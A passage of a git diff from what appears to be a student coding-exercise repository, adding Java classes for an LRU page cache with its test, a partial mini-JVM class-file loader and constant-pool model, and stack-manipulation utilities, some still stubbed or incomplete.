+		Node() {
+		}
+	}
+
+	private int capacity;
+
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	public CmLRUPageFrame(int capacity) {
+		this.capacity = capacity;
+
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param pageNum
+	 */
+	public void access(int pageNum) {
+		Node node = first;
+		Node foundNode = null;
+		while(node!=null){
+			if(node.pageNum==pageNum){
+				foundNode = node;
+			}
+			node = node.next;
+		}
+		
+		//在该队列中存在， 则提到队列头
+		if(foundNode!=null){
+			
+		}else{
+			
+		}
+		
+		
+		
+	}
+
+	@Override
+	public String toString() {
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while (node != null) {
+			buffer.append(node.pageNum);
+			node = node.next;
+			if (node != null) {
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+
+}
diff --git a/group03/345943980/mini-jvm-0330/src/main/java/com/coding/basic/linklist/LRUPageFrame.java b/group03/345943980/mini-jvm-0330/src/main/java/com/coding/basic/linklist/LRUPageFrame.java
new file mode 100644
index 0000000000..3dba1b554b
--- /dev/null
+++ b/group03/345943980/mini-jvm-0330/src/main/java/com/coding/basic/linklist/LRUPageFrame.java
@@ -0,0 +1,163 @@
+package com.coding.basic.linklist;
+
+
+/**
+ * 实现一个简单的LRU算法，即是 Least Recently Used 近期最少使用算法 
+ * 作用：需要维护一个页面中的栈，并且需要把某一个页面从栈中提到栈顶，用硬件实现的话，开销比较大，注意：实际上并不是一个真正的栈
+ * @author Administrator
+ *
+ */
+public class LRUPageFrame {
+	
+	private static class Node {
+		
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node() {
+		}
+	}
+
+	private int capacity;
+	
+	private int currentSize;
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	
+	public LRUPageFrame(int capacity) {
+		this.currentSize = 0;
+		this.capacity = capacity;
+		
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param key
+	 * @return
+	 */
+	public void access(int pageNum) {
+		
+		Node node = find(pageNum);
+		//在该队列中存在， 则提到队列头
+		if (node != null) {
+			
+			moveExistingNodeToHead(node);		
+			
+		} else{
+			
+			node = new Node();
+			node.pageNum = pageNum;
+			
+			// 缓存容器是否已经超过大小.
+			if (currentSize >= capacity) {			
+				removeLast();
+							
+			} 
+			
+			addNewNodetoHead(node);
+			
+			
+			
+						
+		}
+	}
+	
+	private void addNewNodetoHead(Node node) {
+		
+		if(isEmpty()){
+			
+			node.prev = null;
+			node.next = null;
+			first = node;
+			last = node;
+			
+		} else{
+			node.prev = null;
+			node.next = first;
+			first.prev = node;
+			first = node;
+		}
+		this.currentSize ++;
+	}
+
+	private Node find(int data){
+		
+		Node node = first;
+		while(node != null){
+			if(node.pageNum == data){
+				return node;
+			}
+			node = node.next;
+		}
+		return null;
+		
+	}
+
+
+	/**
+	 * 删除链表尾部节点 表示 删除最少使用的缓存对象
+	 */
+	private void removeLast() {
+		Node prev = last.prev;
+		prev.next = null;
+		last.prev = null;
+		last = prev;
+		this.currentSize --;
+	}
+
+	/**
+	 * 移动到链表头，表示这个节点是最新使用过的
+	 * 
+	 * @param node
+	 */
+	private void moveExistingNodeToHead(Node node) {
+		
+		if (node == first) {
+			
+			return;
+		}
+		else if(node == last){
+			//当前节点是链表尾， 需要放到链表头
+			Node prevNode = node.prev;
+			prevNode.next = null;	
+			last.prev = null;
+			last  = prevNode;				
+			
+		} else{
+			//node 在链表的中间， 把node 的前后节点连接起来
+			Node prevNode = node.prev;
+			prevNode.next = node.next;
+			
+			Node nextNode = node.next;
+			nextNode.prev = prevNode;
+			
+			
+		}
+		
+		node.prev = null;
+		node.next = first;
+		first.prev = node;
+		first = node;	
+		
+	}
+	private boolean isEmpty(){		
+		return (first == null) && (last == null);
+	}
+
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node != null){
+			buffer.append(node.pageNum);			
+			
+			node = node.next;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group03/345943980/mini-jvm-0330/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java b/group03/345943980/mini-jvm-0330/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
index 3f7c043ec5..cf4108c0d9 100644
--- a/group03/345943980/mini-jvm-0330/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group03/345943980/mini-jvm-0330/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -77,5 +77,11 @@ private String byteToHexString(byte[] codes ){
 		}
 		return buffer.toString();
 	}
+	
+	public static void main(String[] args) {
+		System.out.println(0xFF);
+		System.out.println(Integer.toBinaryString(0xFF));
+		System.out.println(0x09);
+	}
 
 }
diff --git a/group03/345943980/mini-jvm-0330/src/test/java/com/coding/basic/linklist/LRUPageFrameTest.java b/group03/345943980/mini-jvm-0330/src/test/java/com/coding/basic/linklist/LRUPageFrameTest.java
new file mode 100644
index 0000000000..4ad236a4a2
--- /dev/null
+++ b/group03/345943980/mini-jvm-0330/src/test/java/com/coding/basic/linklist/LRUPageFrameTest.java
@@ -0,0 +1,34 @@
+package com.coding.basic.linklist;
+
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+		frame.access(5);
+		Assert.assertEquals("5,4,0", frame.toString());
+		
+	}
+
+}
diff --git a/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/clz/AccessFlag.java b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..cdb8f8859a
--- /dev/null
+++ b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/clz/ClassFile.java b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..1b5a8b95a6
--- /dev/null
+++ b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,75 @@
+package com.coderising.jvm.clz;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	private String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	private String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/clz/ClassIndex.java b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..df22981441
--- /dev/null
+++ b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/ClassInfo.java b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..e12b3e164e
--- /dev/null
+++ b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+}
diff --git a/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/ConstantInfo.java b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..c8035ae876
--- /dev/null
+++ b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+}
diff --git a/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/ConstantPool.java b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..0e940b78d0
--- /dev/null
+++ b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public Object getSize() {		
+		return this.constantInfos.size() -1;
+	}
+}
diff --git a/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/FieldRefInfo.java b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..7ff9d5fb77
--- /dev/null
+++ b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+}
diff --git a/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/MethodRefInfo.java b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..0feffa65b5
--- /dev/null
+++ b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+	
+	
+	
+}
diff --git a/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/NameAndTypeInfo.java b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..dcac7f97c4
--- /dev/null
+++ b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+}
diff --git a/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/NullConstantInfo.java b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..fa90d110fe
--- /dev/null
+++ b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,13 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	
+}
diff --git a/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/StringInfo.java b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..d01065fd53
--- /dev/null
+++ b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,26 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+	
+}
diff --git a/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/UTF8Info.java b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..b7407d146f
--- /dev/null
+++ b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	
+	
+
+}
diff --git a/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/loader/ByteCodeIterator.java b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..2dff6746da
--- /dev/null
+++ b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,5 @@
+package com.coderising.jvm.loader;
+
+public class ByteCodeIterator {
+
+}
diff --git a/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..aebcbd109f
--- /dev/null
+++ b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,132 @@
+package com.coderising.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		
+		className = className.replace('.', File.separatorChar) +".class";
+		
+		for(String path : this.clzPaths){
+			
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}			
+		}
+		return null;
+	}
+	
+	private byte[] loadClassFile(String clzFileName) {
+		
+		File f = new File(clzFileName);
+		
+		try {
+		
+			return IOUtils.toByteArray(new FileInputStream(f));
+			
+		} catch (IOException e) {			
+			e.printStackTrace();
+			return null;
+		}
+	}
+	
+	
+	
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+		
+		this.clzPaths.add(path);
+		
+	}
+	
+	
+	
+	public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+		
+	}
+	
+	
+	
+	// ------------------------------backup------------------------
+    public String getClassPath_V1(){
+		
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<this.clzPaths.size();i++){
+			buffer.append(this.clzPaths.get(i));
+			if(i<this.clzPaths.size()-1){
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	private byte[] loadClassFile_V1(String clzFileName) {
+		
+		BufferedInputStream bis = null;
+		
+		try {
+			
+			File f = new File(clzFileName);
+			
+						
+			bis = new BufferedInputStream(new FileInputStream(f));
+			
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+			
+			
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);				
+			}
+			
+			byte [] codes = bos.toByteArray();
+			
+			return codes;
+			
+		} catch(IOException e){
+			e.printStackTrace();
+			
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {					
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+		
+	}
+
+
+	
+
+}
\ No newline at end of file
diff --git a/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/loader/ClassFileParser.java b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..c14feae880
--- /dev/null
+++ b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,44 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+
+		
+		
+
+		return null;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+
+		return null;
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+		return null;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+
+		return null;
+	}
+
+	
+}
diff --git a/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/util/Util.java b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/util/Util.java
new file mode 100644
index 0000000000..176f70d002
--- /dev/null
+++ b/group03/345943980/mini-jvm-0405/src/main/java/com/coderising/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group03/345943980/mini-jvm-0405/src/main/java/com/coding/basic/stack/StackUtil.java b/group03/345943980/mini-jvm-0405/src/main/java/com/coding/basic/stack/StackUtil.java
new file mode 100644
index 0000000000..73f5e5601a
--- /dev/null
+++ b/group03/345943980/mini-jvm-0405/src/main/java/com/coding/basic/stack/StackUtil.java
@@ -0,0 +1,179 @@
+package com.coding.basic.stack;
+
+import java.util.Stack;
+
+/**
+ * @author chenming E-mail:cm_20094020@163.com
+ * @version 创建时间：2017年4月10日 下午10:40:44
+ */
+public class StackUtil {
+
+	/**
+	 * 老师演示的列子，存在bug
+	 * @param s
+	 */
+	public static void bad_reverse(Stack<Integer> s) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		Stack<Integer> tmpStack = new Stack<>();
+		while(!s.isEmpty()){
+			tmpStack.push(s.pop());
+		}
+		
+		s = tmpStack;
+		
+	}
+		
+	/**
+	 * QQ号为：247565311的解法
+	 * @param s
+	 */
+	public static void reverse_247565311(Stack<Integer> s){
+        if(s == null || s.isEmpty()) {
+        	return;
+        }
+        
+        int size = s.size();
+        Stack<Integer> tmpStack = new Stack<Integer>();        
+        
+        for(int i=0;i<size;i++){
+            Integer top = s.pop();
+            while(s.size()>i){
+                tmpStack.push(s.pop());
+            }
+            s.push(top);
+            while(tmpStack.size()>0){
+                s.push(tmpStack.pop());
+            }
+        }
+    }
+	
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack<Integer> s) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		
+		Stack<Integer> tmp = new Stack<Integer>();
+		while(!s.isEmpty()){
+			tmp.push(s.pop());
+		}
+		while(!tmp.isEmpty()){
+			Integer top = tmp.pop();
+			addToBottom(s,top);
+		}	
+		
+		
+	}
+	public static void addToBottom(Stack<Integer> s,  Integer value){
+		if(s.isEmpty()){
+			s.push(value);
+		} else{
+			Integer top = s.pop();
+			addToBottom(s,value);
+			s.push(top);
+		}
+		
+	}
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	@SuppressWarnings({ "unchecked", "rawtypes" })
+	public static void remove(Stack s,Object o) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		Stack<Object> tmpStack = new Stack<Object>();
+		
+		while(!s.isEmpty()){
+			Object value = s.pop();
+			if(!value.equals(o)){
+				tmpStack.push(value);
+			} 			
+		}
+		
+		while(!tmpStack.isEmpty()){
+			s.push(tmpStack.pop());
+		}
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	@SuppressWarnings({ "rawtypes", "unchecked" })
+	public static Object[] getTop(Stack s,int len) {
+		
+		if(s == null || s.isEmpty() || s.size()<len || len <=0 ){
+			return null;
+		}
+		
+		Stack<Object> tmpStack = new Stack<>();
+		int i = 0;
+		Object[] result = new Object[len];
+		while(!s.isEmpty()){
+			Object value = s.pop();			
+			tmpStack.push(value);
+			result[i++] = value;
+			if(i == len){
+				break;
+			}
+		}
+		while(!tmpStack.isEmpty()){
+			s.push(tmpStack.pop());
+		}
+		return result;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
